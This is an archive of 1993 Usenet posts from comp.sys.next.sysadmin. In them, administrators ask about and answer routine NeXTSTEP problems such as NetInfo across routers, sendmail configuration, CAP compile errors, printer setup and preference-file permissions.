From: daugher@cs.tamu.edu(Walter C. Daugherity) Newsgroups: comp.sys.next.sysadmin Subject: "mach: proc: table is full" error Date: 8 May 1993 19:56:15 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1sh38v$rlq@tamsun.tamu.edu> Keywords: mach error On a 25 MHz 68040 cube running NeXTSTEP 3.0, verbose mode boot includes the error "mach: proc: table is full". I haven't been able to find this in Digital Librarian; does anyone know what it means? Sometimes the system seems to work normally anyway and sometimes it hangs with the disk spinning cursor after entering an account name and password. Please reply by e-mail (and post too if it's of general interest). Thanks! -- Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu Texas A & M University uucp: uunet!cs.tamu.edu!daugher College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS ---Not an official document of Texas A&M---
Newsgroups: comp.sys.next.sysadmin From: mouse@thunder.mcrcim.mcgill.edu (der Mouse) Subject: Re: How to dump directories instead of filesystems??? Message-ID: <1993May8.225103.19311@thunder.mcrcim.mcgill.edu> Organization: McGill Research Centre for Intelligent Machines References: <1s2u9r$ml4@mathserv.mps.ohio-state.edu> Date: Sat, 8 May 93 22:51:03 GMT In article <1s2u9r$ml4@mathserv.mps.ohio-state.edu>, nevai@math.ohio-state.edu (Paul Nevai) writes: > The NEXT 3.0 version of dump can only dump filesystems but not > directories, I think. Is there a way to do the latter. > (I think the SUN dump does this) I'm fairly sure it doesn't. Sun dump is more or less the BSD dump, which reads the raw disk device and dumps in inode order. Not really amenable to dumping just part of the hierarchy of a filesystem. Have you considered using tar or something similar? der Mouse mouse@mcrcim.mcgill.edu
From: lemson@ux1.cso.uiuc.edu (David Lemson) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to dump directories instead of filesystems??? Date: 8 May 1993 21:23:33 -0500 Organization: University of Illinois at Urbana Message-ID: <1shpvj$eng@ux1.cso.uiuc.edu> References: <1s2u9r$ml4@mathserv.mps.ohio-state.edu> <1993May8.225103.19311@thunder.mcrcim.mcgill.edu> mouse@thunder.mcrcim.mcgill.edu (der Mouse) writes: >In article <1s2u9r$ml4@mathserv.mps.ohio-state.edu>, nevai@math.ohio-state.edu (Paul Nevai) writes: >> The NEXT 3.0 version of dump can only dump filesystems but not >> directories, I think. Is there a way to do the latter. >> (I think the SUN dump does this) >I'm fairly sure it doesn't. Sun dump is more or less the BSD dump, >which reads the raw disk device and dumps in inode order. Not really >amenable to dumping just part of the hierarchy of a filesystem. Actually, dump in SunOS 4.1.3 does let you dump individual directories. I don't know about Solaris 2.1, I have managed to keep my hands off such buggy software. :-) There is no way for dump on the NeXT to do anything but filesystems. >Have you considered using tar or something similar? That's probably the next logical (and only reasonable) approach. However, I suggest using GNUTar which is is /usr/bin/gnutar in 3.x. It doesn't have the 100 char filenames problem which can be a large one doing backups. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: o_endrikat@oe.fn.sub.org (Oliver Endrikat) Subject: Re: NETMASK PROBLEM Message-ID: <1993May9.122223.471@oe.fn.sub.org> Sender: oe@oe.fn.sub.org (Oliver Endrikat) Organization: oliver endrikat - freier informatiker References: <1993May1.004904.10569@kakwa.ucs.ualberta.ca> Date: Sun, 9 May 1993 12:22:23 GMT In article <1993May1.004904.10569@kakwa.ucs.ualberta.ca> clarance@nshade.uah.ualberta.ca (Clarance Howatt) writes: : Background: : In the hospital where I work there are several domains ranging from : xxx.xxx.104.xxx to xxx.xxx.111.xxx. For security reasons only the : internet addresses in the xxx.xxx.109.xxx domain have access to the : internet.(the router ignores everything else). I have 4 (soon to be 8) : NeXT color slabs on the xxx.xxx.109.xxx domain. : : Problem: : I need to find a way to allow the NeXTs on th 109 domain to talk to NeXTs : that are not on the 109 domain. Ya I thought it would be easy to. I : changed the netmask to 255.255.248.0 and thought that was it. The result : was that although the NeXTs could now see the entire hospital network only : the server could get outside of this domain. It would seem that NFS is : doing something magic. If you have any thoughts one this they would be : greatly appreciated. : Are you shure you changed the netmask on any single one of your hosts and not only on your server? -- | oliver endrikat | freier informatiker |____________________________________________________________
Newsgroups: comp.sys.next.sysadmin From: o_endrikat@oe.fn.sub.org (Oliver Endrikat) Subject: Re: sendmail wizards Message-ID: <1993May9.125115.579@oe.fn.sub.org> Sender: oe@oe.fn.sub.org (Oliver Endrikat) Organization: oliver endrikat - freier informatiker References: <1993May6.134904.20221@bmw.mayo.edu> Distribution: usa Date: Sun, 9 May 1993 12:51:15 GMT In article <1993May6.134904.20221@bmw.mayo.edu> layhe@niman.mayo.edu (robert w. layhe) writes: : i need to be able to strip off the host name when i send mail so : that the from address is : : layhe@mayo.edu rather than layhe@niman.mayo.edu : i have configured sendmail.cf using Dj$w whichi thought would do : it but to no avail. i have also tried various other variations : of setting the macros in the sendmail.cf file but have been : unsuccessful. have set Dm to mayo.edu, etc. etc. if anyone : could offer me advice or suggestions, would greatly appreciate : it. : : thanks, : : robert I recently had a alike problem. None of the changes made to /etc/sendmail/sendmail.cf had any effect. After some time I discovered an entry in NetInfo under Programms/sendmail which hardwired sendmail to use /etc/sendmail/sendmail.subsidiary. So perhaps you too do apply your changes at the wrong place. Another thing is that you probably do not change the right macro. Take a look at the rule for from adresses associated with the mailer you use upstream to your mail server. This S22 for the ddn mailer and S13 for uucp. There is one rule with pads on the senders host name. This is the place where it really happens and where you can see what happens. The last point: If you deliver your mail to a central mail server this one probably recognizes you as a host local to his domain, discards all your generated from adress and reconstructs it along his own thoughts. Perhaps he inserts your host name because he doesn't export his own spool directory to you. In this case talk to the postmaster of your server. A last hint: The config file /etc/sendmail/sendmail.sharedsubidiary.cf should handle the case where the client uses the spool file of the master. And exactly this case is where you don't need to append your hostname. Perhaps this one is appropiate for you. greetings oliver -- | oliver endrikat | freier informatiker |____________________________________________________________ | 7778 markdorf | -- | oliver endrikat | freier informatiker |____________________________________________________________
Newsgroups: comp.sys.next.sysadmin From: lscheer@netcom.com (Lyle Scheer) Subject: gettytab help? Message-ID: <lscheerC6rtHz.Jpt@netcom.com> Summary: other machine calling my slip account failing to log on Keywords: SLIP, gettytab, callback Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Sun, 9 May 1993 17:49:11 GMT Howdy all! I'm trying to set up a SLIP account between my NeXT at home and my place of work. They do connections by callback, so I've set up a user account that will launch SLIP when the remote system calls my NeXT and logs in. I'm having problems getting the remote system to log in. Occasionally, I get messages on the console when I try this telling me that "username" failed to log in.... so it's giving the username correctly some of the time but failing to enter the password. I even let it call me back while I was connected to a terminal so that I could simulate being my NeXT. I noticed that it would consistanty enter the username correctly after I typed "login:" to it, but it would only send me the password after I typed "<cr>Password:". Nothing less worked. I'm assuming that the remote machine isn't seeing the right strings, so it just fails to log on and hangs up. Is there anything I can do with gettytab to make this reliable??? Specifcally, can I somehow insure that there is a carriage return sent before the login program sends the "Password:" string? - Lyle (lscheer@netcom.com)
Newsgroups: comp.sys.next.sysadmin From: benk@ie1next.me.umn.edu (Benjamin Koo) Subject: Strange IB behavior! Help! Message-ID: <C6s0L5.KEE@news2.cis.umn.edu> Sender: news@news2.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Date: Sun, 9 May 1993 20:18:49 GMT Hello: I just encountered a very strange problem. I added some palettes to IB, quit IB and restart it again. The first few times, it works fine. Later on, it starts saying that the palette file does not exist. Although it is actually there. Then, it just stopped to run. I mean, it quits running immediately after I starts it. I tried to use other accounts to initiate IB, the other accounts works fine. Is there any file in my personal directory is guffing it up? BTW, I am using NS2.2 on a MonoStation. (Non-Turbo) Thanks in advance! Ben
Newsgroups: comp.sys.next.sysadmin From: mark@xexos.com (Mark Chamberlain) Subject: Re: netinfo across routers ?? Message-ID: <1993May9.200815.13910@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <GISLI.93May8001919@liapunov.eecs.umich.edu> Distribution: usa Date: Sun, 9 May 1993 20:08:15 GMT In article <GISLI.93May8001919@liapunov.eecs.umich.edu> gisli@liapunov.eecs.umich.edu (Gisli Ottarsson) writes: > > > I have been asked to connect a NeXT computer to my humble network > running netinfo. However, this new machine is in another domain. > > Is this a problem for netinfo? Can a machine IP 141.212.137.131 > be a netinfo client of a netinfo server IP 141.212.98.130? Not a real problem. 2 ways :- The best solution is to put a clone server on the new segment, in your case, put a clone server on segment 137. You have to put in an early router in /etc/rc that adds the router address, before netinfo tries to start up. Your alternative is to enable UDP forwarding on ports 666, 667 and 668 on your router. Those are the ports that Netinfo clients/servers use for their initial conversations on bootup. The clone idea is cleaner. It means the only machines sending netinfo across the router are the server and the clone-server sending each other new netinfo changes. Mark -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: Re: Cnews,bnews,INN Which one Date: 9 May 1993 22:07:45 +0100 Organization: me organized? That's a joke! Message-ID: <1sjrr1$kg7@steffi.demon.co.uk> References: <1993May2.065625.274@pyrian.com> <1993May4.181950.1883@nidat.sub.org> <C6KutG.22B@pilhuhn.ka.sub.org> I fetch my news via my feeds nntp port and INN really screams. I can help with installation too :-) -- Real programmers don't create classes, they build hierarchies. (me) "If it doesn't compile and run emacs, it's not a computer." (Erik C. Sowa)
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin Subject: Re: netinfo across routers ?? Date: 10 May 1993 01:04:53 GMT Organization: The University of Maryland, College Park Distribution: usa Message-ID: <1sk9nl$cro@ni.umd.edu> References: <GISLI.93May8001919@liapunov.eecs.umich.edu> <1993May9.200815.13910@xexos.com> In article <1993May9.200815.13910@xexos.com> mark@xexos.com writes: >> I have been asked to connect a NeXT computer to my humble network >> running netinfo. However, this new machine is in another domain. You mean on another network. Domains are altogether something different. >> Is this a problem for netinfo? Can a machine IP 141.212.137.131 >> be a netinfo client of a netinfo server IP 141.212.98.130? Sure. We do this a the University of Maryland, but not in either of the two ways below. Just list the netinfo server in the local domain's hosts, and give it the "serves" property for "..", just like broadcasthost has. >Not a real problem. 2 ways :- > >The best solution is to put a clone server on the new segment, in your case, >put a clone server on segment 137. You have to put in an early router in >/etc/rc that adds the router address, before netinfo tries to start up. Yuk. If you have NeXT scattered across 5 different networks, you might prefer to not have clones everywhere. >Your alternative is to enable UDP forwarding on ports 666, 667 and 668 on your >router. Those are the ports that Netinfo clients/servers use for their initial >conversations on bootup. Yuk again, IMHO. Stamp out gratuatous use of broadcast! This would be an ideal use for IP Multicast. Perhaps we'll see support for it some day. >The clone idea is cleaner. It means the only machines sending netinfo across >the router are the server and the clone-server sending each other new netinfo >changes. The problem with clones is that other workstations will "gang up" on them, and you probably want them to be somewhat reliable and not rebooted all the time. This would be fine if you had a NeXT as a file server on each subnnetwork of NeXTs, but many folks want fast file servers and buy other brands of hardware that (thankfully) don't run Netinfo. Louis Mamakos Univ. of Maryland
Newsgroups: comp.sys.next.sysadmin From: sam@musical.fdn.org (Sam Przyswa) Subject: Carrier whatching... Message-ID: <1993May9.220442.521@musical.fdn.org> Sender: sam@musical.fdn.org Organization: Rock'n Jazz BBS - (The Music Land) Date: Sun, 9 May 1993 22:04:42 GMT Hi everybody, I have to put a Fido mailer in front end instead of getty and make a bypass to the regular login, but when I run /bin/login from the mailer, the system don t watch the carrier and if an User drop the carrier during the session, the tty don t send a SIGHUP and I have to kill the process. Other problem in the same case the User logged with this method is not registred on the system (who). Have you any explanation, and what can I do to fix this problem. Thanks in advance. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sam Przyswa << Rock©n Jazz BBS >> E-Mail: sam@musical.fdn.org Paris FidoNet: 2:320/102 --<NeXTmail accepted 10Ko max>-- France Music & Midi BBS
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin,comp.protocols.appletalk Subject: Cap6.0 on NeXT (compile help) Date: 10 May 1993 15:26:13 GMT Organization: University of Houston Message-ID: <1sls6l$622@menudo.uh.edu> If you are seeing the following errors when you try to compile CAP60 on the NeXT running NeXTSTEP 3.0 : (cd lwsrv; make) cc -O -DNeXT -DADDRINPACK -DLWSRV_LPR_LOG -DSTAT_CACHE -DTREL_TIMEOUT -DUSE_HOST_ICON -DDOCNAME -DPAGECOUNT=512 -DSFLOWQ=1 -c lwsrv.c lwsrv.c: In function `childjob': lwsrv.c:1122: request for member `w_S' in something not a structure or union lwsrv.c:1122: request for member `w_T' in something not a structure or union *** Exit 1 Stop. (cd papif; make) cc -O -DNeXT -DADDRINPACK -DLWSRV_LPR_LOG -DSTAT_CACHE -DTREL_TIMEOUT -DUSE_HOST_ICON -DCHARGEBANNER -DMACUSER -DIDLESTUFF -DDOCNAME -DPAGECOUNT=512 -DSFLOWQ=1 -c papif.c papif.c: In function `reaper': papif.c:687: request for member `w_S' in something not a structure or union papif.c:692: request for member `w_S' in something not a structure or union papif.c:692: request for member `w_T' in something not a structure or union *** Exit 1 Stop. (cd aufs; make) cc -DNETWORKTRASH -O -DNeXT -DADDRINPACK -DLWSRV_LPR_LOG -DSTAT_CACHE -DTREL_TIMEOUT -DUSE_HOST_ICON -c aufs.c aufs.c: In function `gcinferior': aufs.c:1110: request for member `w_S' in something not a structure or union aufs.c:1113: request for member `w_S' in something not a structure or union aufs.c:1113: request for member `w_T' in something not a structure or union *** Exit 1 Stop. Then you need to do the following changes: lwsrv.c: 1122 change if (WIFEXITED(waitstatus.w_status)) { to if (WIFEXITED(waitstatus)) { papif.c:687 change if (WIFSTOPPED(status.w_status)) { to if (WIFSTOPPED(status)) { papif.c:692 change if (WIFSIGNALED(status.w_status)) { to if (WIFSIGNALED(status)) { aufs.c:1110 change } else if (WIFSTOPPED(cp->status.w_status)) { to } else if (WIFSTOPPED(cp->status)) { aufs.c:1113 change } else if (WIFSIGNALED(cp->status.w_status)) { to } else if (WIFSIGNALED(cp->status)) { -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: gary@msu.edu (Gary J LaPointe) Newsgroups: comp.sys.next.sysadmin Subject: How many users can I have? Date: 10 May 1993 16:05:17 GMT Organization: Michigan State University Message-ID: <1sluft$eq4@msuinfo.cl.msu.edu> How many users can I have connecting to a NeXT at once without the machine dragging down? I know this will vary by machine & memory but I don't know if 10 people on at once on a 12MB cube is too much or if I can go to 100? I know it will vary by howmany are logged on too, I just wanted some suggestions. Ballpark figures will do. If people mailed to me directly, I will summarize. Thanks, Gary ** Please reply to the below address, my newsreader goofs up the from field ** Gary J LaPointe gary@ah3.cal.msu.edu Michigan State University Center For Integrative Studies, Arts & Humanities
Newsgroups: comp.sys.next.sysadmin From: Neil Greene <neil@kynug.org> Subject: Netinfo: NeXT Printer problems Message-ID: <1993May10.143057.913@kynug.org> Sender: neil@kynug.org (Neil Greene) Organization: Kentucky NeXT User Group, Inc. Date: Mon, 10 May 1993 14:30:57 GMT Before disconnecting the NeXT laser printer from our server, I changed its status to "unavailable". Since reconnecting the printer and rebooting the machine, I have not been able to change the status of this printer to "available" once again. When running PrintManager, no printers show up to modify. Selecting "create" is ok; but, the NeXT 400dpi Laser Printer is dimmed so I cannot create another printer. Does anyone have any suggestions?? -- Neil Greene President, Kentucky NeXT User Group, Inc. Email: neil@kynug.org [NeXTMail]
From: daugher@cs.tamu.edu(Walter C. Daugherity) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: NewsGrazer question Date: 10 May 1993 18:41:50 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1sm7le$ol3@tamsun.tamu.edu> Keywords: mthreads I'm running NewsGrazer Release 2.0, Version 72.2, and have just been informed that my news server "is now using the NOV database and would like to get rid of mthreads soon." Does that mean anything for me, e.g., does NewsGrazer use NOV or mthreads? E-mail appreciated. Thanks! -- Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu Texas A & M University uucp: uunet!cs.tamu.edu!daugher College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS ---Not an official document of Texas A&M---
From: gary@msu.edu (Gary J LaPointe) Newsgroups: comp.sys.next.sysadmin Subject: How many users can I have? Date: 10 May 1993 18:58:25 GMT Organization: Michigan State University Message-ID: <1sm8kh$qdl@msuinfo.cl.msu.edu> [ Article crossposted from comp.sys.next.hardware ] [ Author was Gary J LaPointe ] [ Posted on 10 May 1993 18:57:35 GMT ] I (gary@msu.edu) wrote: : How many users can I have connecting to a NeXT at once without the machine : dragging down? : : I know this will vary by machine & memory but I don't know if 10 people on : at once on a 12MB cube is too much or if I can go to 100? : : I know it will vary by how many are logged on too, I just wanted some : suggestions. Ballpark figures will do. : Someone asked me a few significant questions, so I thought I'd add them Most people will be doing mail & net news. Maybe telnetting & ftping and downloading, but mostly mail (mayber gopher too) Right now with 5 people telnetting in it's not bad as long as no one is logged in. By the way my machine has 16MB (not 12MB) it just got upgraded over lunch. If people mailed to me directly, I will summarize. Thanks, Gary ** Please reply to below address, my newsreader goofs up the from field ** -- Gary J LaPointe gary@ah3.cal.msu.edu Michigan State University Center For Integrative Studies, Arts & Humanities -- Gary J LaPointe gary@ah3.cal.msu.edu Michigan State University Center For Integrative Studies, Arts & Humanities
Newsgroups: comp.sys.next.sysadmin From: abell@netcom.com (Steven T. Abell) Subject: Changing hostname the right way Message-ID: <abellC6tt29.DAA@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Distribution: na Date: Mon, 10 May 1993 19:34:56 GMT OK, I admit it: I cheated. I edited /etc/hostconfig directly, and I got burned. I know I deserved it. I'm ready to repent. So I reloaded hostconfig from the 3.0 CD-ROM, and used HostManager to change the name. But the program that wouldn't run, supposedly because I had changed the hostname sleazily, still won't run. Is there anything else I need to do? Also, when my machine is starting up, there is a strange message in the boot sequence, something like DPS Client Library can't form connection to host local host Is this related? Is it toxic? How can I fix this? Sorry for being clueless, Steve abell@netcom.com
Newsgroups: comp.sys.next.sysadmin From: reed@prism.sps.mot.com (Tim Reed) Subject: Landscape printing on NextPrinter Message-ID: <1993May10.213936.26329@newsgate.sps.mot.com> Keywords: printer landscape Sender: usenet@newsgate.sps.mot.com Organization: SPS Date: Mon, 10 May 1993 21:39:36 GMT Is there a way to force the NextPrinter to print in landscape orientaion? I would like to add another print queue to allow printing in landscape but I don't want to lose the ability to print in portrait. Is this possible with only 1 printer. -- ---------------------------------------------------------- Tim Reed Motorola SPS PRISM CIM Systems Administrator 2100 E. Elliot Rd. email: reed@prism.sps.mot.com MD: EL606 Phone: 602-897-4703 Tempe, AZ. 85282 Fax: 602-897-3549
Newsgroups: comp.sys.next.sysadmin From: neil@ms.uky.edu (Neil Greene) Subject: Re: Netinfo: NeXT Printer problems Message-ID: <C6u92J.Kn4@ms.uky.edu> Organization: Kentucky NeXT User Group, Inc. References: <1993May10.143057.913@kynug.org> Date: Tue, 11 May 1993 01:20:42 GMT Neil Greene <neil@kynug.org> writes: >Before disconnecting the NeXT laser printer from our server, I changed its >status to "unavailable". Since reconnecting the printer and rebooting the >machine, I have not been able to change the status of this printer to >"available" once again. >When running PrintManager, no printers show up to modify. Selecting >"create" is ok; but, the NeXT 400dpi Laser Printer is dimmed so I cannot >create another printer. >Does anyone have any suggestions?? Well, for some strange reason, netinfo just did not want to deal with this printer. So, I manually recreated the necessary netinfo dirs. Has anyone else had any problems with netinfo printers after chaning the status of a printer to "unavailable"?
From: rabahya@yang.earlham.edu Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc Subject: Maintaining Prefrences settings. Message-ID: <1993May10.205852.23293@yang.earlham.edu> Date: 10 May 93 20:58:52 EST Organization: Earlham College, Richmond, Indiana Hi you NeXT wizards out there !! I'm having a problem with the settings of my prefrences (mouse, sound, keyboard.. etc) Whenever I login I have to set these things and then after I logout they go back to somekind of a default setting, and it's a pain setting them everytime I login... Any suggestions to what could be causing this problem? Thanks... |-----------------------------------------------------------------------------| | Jack Rabah |RabahYa@Yang.Earlham.EDU | (317)- | | Earlham College, Drawer # 1542 |RabahYa@Yang.bitnet | 973- | | Richmond, IN 47374 |JACK@math.Earlham.EDU (NeXT)| 2016| |-----------------------------------------------------------------------------|
From: reb@aa.ans.net (R. Eric Bennett) Newsgroups: comp.sys.next.sysadmin Subject: npd dying Date: 11 May 1993 02:43:16 GMT Organization: Advanced Network & Services - Elmsford, NY Message-ID: <1sn3s4$355@terminator.rs.itd.umich.edu> Keywords: npd I've got a NeXT Cube running 2.0 in my office, serving primarily as a print server. However, it occasionally just stops printing. I've noticed that this seems to be a result of /usr/lib/NextPrinter/npd having died. Yet, once restarted, printing rarely starts up again. Some degree of finagling is required to get it to work once again (and it seems like pfm when it does). If I down the queue, start npd, and up the queue, npd dies again. If I run npd while an npcomm process is running, they never talk (or at least nothing ever prints) and both processes go to sleep. What am I doing wrong? Why does npd keep dying (without syslogging nonetheless)? Is there a permanent fix? thanks, eric
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: Netinfo: NeXT Printer problems Message-ID: <C6uFLp.Kqu@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <1993May10.143057.913@kynug.org> <C6u92J.Kn4@ms.uky.edu> Date: Tue, 11 May 1993 03:41:49 GMT In article <C6u92J.Kn4@ms.uky.edu> neil@ms.uky.edu (Neil Greene) writes: >Neil Greene <neil@kynug.org> writes: > >>Before disconnecting the NeXT laser printer from our server, I changed its >>status to "unavailable". Since reconnecting the printer and rebooting the >>machine, I have not been able to change the status of this printer to >>"available" once again. > >>When running PrintManager, no printers show up to modify. Selecting >>"create" is ok; but, the NeXT 400dpi Laser Printer is dimmed so I cannot >>create another printer. > >>Does anyone have any suggestions?? > >Well, for some strange reason, netinfo just did not want to deal with this >printer. So, I manually recreated the necessary netinfo dirs. Has anyone >else had any problems with netinfo printers after chaning the status of a >printer to "unavailable"? > I had it happen after an upgrade from 2.1 to 3.0. -rob francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos) Subject: NS 3.0 and Fax acknowledgement Message-ID: <1993May10.192713.18747@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Mon, 10 May 1993 19:27:13 GMT Since upgrading to NS 3.0 a few days ago, our users are no longer receiving an e-amil acknowledgement of their outgoing faxes (when the "Receipt" option is checked). We have modified the configuration of the fax/modem, as per 3.0's new approach to the management and delivery of faxes (though I did not see any config otions that relate to the acknowledgement of *outgoing* faxes). Thanks for any tips, Phil -- G. Philippe Menos gpmenos@firestone.princeton.edu [NeXTmail OK.] Systems Administrator, Princeton University Libraries voice: 609-258-5183 fax: 609-258-5571
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: NewsGrazer question In-Reply-To: daugher@cs.tamu.edu's message of 10 May 1993 18:41:50 GMT To: daugher@cs.tamu.edu(Walter C. Daugherity) Message-ID: <CEDMAN.93May10164735@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1sm7le$ol3@tamsun.tamu.edu> Date: Mon, 10 May 1993 20:47:35 GMT In article <1sm7le$ol3@tamsun.tamu.edu> daugher@cs.tamu.edu(Walter C. Daugherity) writes: I'm running NewsGrazer Release 2.0, Version 72.2, and have just been informed that my news server "is now using the NOV database and would like to get rid of mthreads soon." Does that mean anything for me, e.g., does NewsGrazer use NOV or mthreads? That means nothing to you. As NewsGrazer is too primitive to do any kind of threading except by alphabetically sorted Subject: line, the change in thread database doesn't affect you in the slightest. Carl Edman
From: rabahya@yang.earlham.edu Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc Subject: Re: Maintaining Prefrences settings.(solved) Message-ID: <1993May10.233049.23294@yang.earlham.edu> Date: 10 May 93 23:30:49 EST References: <1993May10.205852.23293@yang.earlham.edu> Organization: Earlham College, Richmond, Indiana In article <1993May10.205852.23293@yang.earlham.edu>, rabahya@yang.earlham.edu w > Hi you NeXT wizards out there !! > > I'm having a problem with the settings of my prefrences (mouse, sound, > keyboard.. etc) Whenever I login I have to set these things and then after I > logout they go back to somekind of a default setting, and it's a pain setting > them everytime I login... Any suggestions to what could be causing this > problem? > > Thanks... Well the respond that solved this problem was : > From: IN%"kent@mnementh.cs.mcgill.ca" "Kent Tse" > To: IN%"rabahya@YANG.EARLHAM.EDU" > CC: > Subj: RE: Maintaining Prefrences settings. > > Hello, > > Your problem seems to be that your home directory and your .NeXT > directory are not executable by everyone. Run the following > command and this should fix your problem permanently. > > % chmod og+x ~ ~/.NeXT > > This will give everyone execute permissions on your home > directory and the .NeXT directory which hold your preferences. > Hope this helps. > > - Kent Well what I did is I set the prev on my home dir: 1 drwx--x--x 14 jack other 1024 May 10 21:54 jack/ and on the .NeXT dir: 1 drwxr-xr-x 5 jack other 1024 May 10 22:00 .NeXT/ and this way my account would be protected and I'd be able to have the prefrences always set the way I like them to be !! Thanks for those of you who replied . |-----------------------------------------------------------------------------| | Jack Rabah |RabahYa@Yang.Earlham.EDU |(317)- | | Earlham College, Drawer # 1542 |RabahYa@Yang.bitnet | 973- | | Richmond, IN 47374 |JACK@math.Earlham.EDU (NeXT)| 2016 | |-----------------------------------------------------------------------------|
From: isbell@cats.ucsc.edu (Art Isbell) Newsgroups: comp.sys.next.sysadmin Subject: no login panel on NeXTstation Color upgraded to 3.1 PR1 Date: 11 May 1993 06:44:38 GMT Organization: Cubic Solutions - NeXT software development and consulting Distribution: world Message-ID: <1sni0mINNrnv@darkstar.UCSC.EDU> After running 3.1 PR1 for a few weeks on a Cube that had 3.1 installed from CD-ROM on a new external hard disk (i.e., not an upgrade, a builddisk), we decided to upgradea couple of additional machines, a NeXTstation Color and Color Turbo, both running 3.0. Unfortunately, we tried to use a NEC CDR72 CD-ROM drive which reports a 0 block size, but NeXT has apparently tried to deal with this bogus report. However, the first upgrade didn't complete successfully with many errors due to the inability to copy many files from the CD-ROM to the hard disk. So we used a NeXT CD-ROM drive, initialized the hard disk, and did a builddisk from the 3.1 User CD-ROM. This worked fine. We then upgraded the Turbo using the NeXT CD-ROM drive with no errors. However, on the automatic reboot after the upgrade, no login panel appeared. A subsequent reboot in verbose mode indicated no problems and the login panel appeared. However, in "normal" mode, no login panel appears, but the window server is running because the mouse cursor is visible and movable. Booting in verbose mode does not guaranty a successful boot, but the probability is better than normal mode. I just thought that maybe the "me" account is active and no longer has a password for some reason. loginwindow may be trying to login directly to "me", but Workspace is failing to start for some reason. I'll check that tomorrow. Any other ideas? -- Art Isbell Cubic Solutions NeXT Registered Developer #745 NeXT software development and consulting NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154 USmail: 95018-9442 Fax: (408)335-2515
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi From: rainer@ruble.fml.tuwien.ac.at (Rainer Staringer) Subject: Problem with Micropolis SCSI drive Message-ID: <1993May11.071229.7788@email.tuwien.ac.at> Sender: news@email.tuwien.ac.at Organization: Technical University of Vienna Date: Tue, 11 May 1993 07:12:29 GMT I have a very nasty problem with our Micropolis 1528-15MD1066702 1.3GB SCSI disk drive. This drive was used as the (internal) boot disk in a NeXT cube for nearly a year without any problems. Yesterday we had to return the cube to the NeXT reseller we had borrowed it from. The cube had been used as a server in our network, so I had to transfer the boot disk into one of our NeXTstations and use that as the server. There is of course not enough room inside the NeXTstation for a full height drive, so I put the drive into an old PC case (to get power and cooling) and connected it to the NeXTstation's *internal* SCSI bus by using a longer cable (~ 40 cm) and routing that cable to the outside, and then into the PC case. The station's internal 100MB Quantum drive is still installed and used as a swap disk. Everything seemed to work fine, but then I noticed that at random times (intervals range from a few minutes to half an hour, depending on the frequency of disk accesses) the Micropolis drive will make that click noise, *spin down*, and then up again! The NeXT gets IO-errors in the meantime, or retries the last command until the drive is no longer busy. The problem is not with termination (I removed the terminators from the Quantum drive and the Micropolis is now the last drive in the chain), and the SCSI cable has to be ok, because it has been used in a Mac for ages without any problems. Does anybody have an idea what could cause this sort of problem? Is there a conflict between the Quantum and the Micropolis SCSI implementations, or is the NeXTstation's internal SCSI bus limited to only one device? Or is there some sort of safety mechanism in the Micropolis drive which causes it to spin down when it gets too warm? (The drive doesn't feel particularly hot to the touch, though.) Thanks for reading this far! Rainer -- Rainer Staringer | rainer@fml.tuwien.ac.at Financial Markets Lab, TU Vienna | +43 (1) 58801/8138
